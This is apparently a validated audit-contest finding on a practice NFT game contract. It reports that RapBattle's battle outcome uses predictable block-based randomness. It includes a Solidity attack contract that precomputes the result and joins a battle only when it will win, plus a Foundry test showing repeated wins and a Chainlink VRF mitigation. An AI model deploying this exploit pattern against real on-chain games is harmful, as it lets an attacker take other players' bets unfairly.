Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Weak randomness used in `RapBattle::_battle` function, making it possible to predict the outcome and taking advantage to the challenger have 100% winrate

Description: weak randomness by hashing block.timestamp, block.prevrandao, msg.sender is easily calculated and can make the challenger always win

Impact: unfairness for the defender role, making it not really worth to become a defender

Proof of Concept:

  1. Alice mint _tokenId = 0

  2. Alice stake using Streets::stake for 4 days and got 4 CRED

  3. Alice call goOnStageOrBattle with _credBet set to 1 and got the defender role

  4. Slim Shady mint _tokenId = 1

  5. Slim Shady calculate the value of random and when its preferable, call goOnStageOrBattle function and win. if not, do not call the function.

Proof of Code

Add this contract to test/ folder:

RapBattleAttack.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IRapBattle {
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external;
function getRapperSkill(
uint256 _tokenId
) external view returns (uint256 finalSkill);
function defenderBet() external returns (uint256);
function defenderTokenId() external returns (uint256);
}
interface IStreets {
function stake(uint256 tokenId) external;
function unstake(uint256 tokenId) external;
}
interface IOneShot {
function mintRapper() external;
function approve(address to, uint256 tokenId) external;
}
interface ICredToken {
function approve(address to, uint256 amount) external;
}
contract RapBattleAttack {
IRapBattle rapBattle;
IStreets streets;
IOneShot oneShot;
ICredToken credToken;
constructor(
address _rapBattle,
address _streets,
address _oneShot,
address _credToken
) {
rapBattle = IRapBattle(_rapBattle);
streets = IStreets(_streets);
oneShot = IOneShot(_oneShot);
credToken = ICredToken(_credToken);
}
function mint() external {
oneShot.mintRapper();
}
function stake(uint256 tokenId) external {
oneShot.approve(address(rapBattle), tokenId);
streets.stake(tokenId);
}
function unstake(uint256 tokenId) external {
streets.unstake(tokenId);
}
function attack(uint256 _tokenId) external returns (bool) {
uint256 _credBet = rapBattle.defenderBet();
uint256 defenderRapperSkill = rapBattle.getRapperSkill(
rapBattle.defenderTokenId()
);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
address(this)
)
)
) % totalBattleSkill;
if (random > defenderRapperSkill) {
rapBattle.goOnStageOrBattle(_tokenId, _credBet);
return true;
} else revert();
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}

Import RapBattleAttack.sol to OneShotTest.t.sol

import { RapBattleAttack } from "./RapBattleAttack.sol";

Add this test to OneShotTest.t.sol

function testRapBattleAttack4ConsecutiveWin() public mintRapper {
RapBattleAttack attack;
attack = new RapBattleAttack(
address(rapBattle),
address(streets),
address(oneShot),
address(cred)
);
// Alice stake 4 days
vm.startPrank(user);
cred.approve(address(rapBattle), 10);
oneShot.approve(address(streets), 0);
streets.stake(0);
// get 8 CRED
vm.warp(4 days + 1);
streets.unstake(0);
vm.stopPrank();
// Challenger preparing RapBattleAttack contract
vm.startPrank(challenger);
attack.mint();
// this step can be commented assuming code still not check challenger CRED
// attack.stake(1);
// vm.warp(1 days + 1);
// attack.unstake(1);
vm.stopPrank();
uint256 consecutiveWin;
uint256 credBet = 1;
// scenario when Alice became defender and attacked using weak randomness
while (consecutiveWin != 4) {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, credBet);
vm.stopPrank();
vm.startPrank(challenger);
if (attack.attack(1) == true) {
++consecutiveWin;
}
}
assert(cred.balanceOf(address(attack)) == 4);
}

Recommended Mitigation: Consider using cryptographically provable random number generator such as ChainLink VRF.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.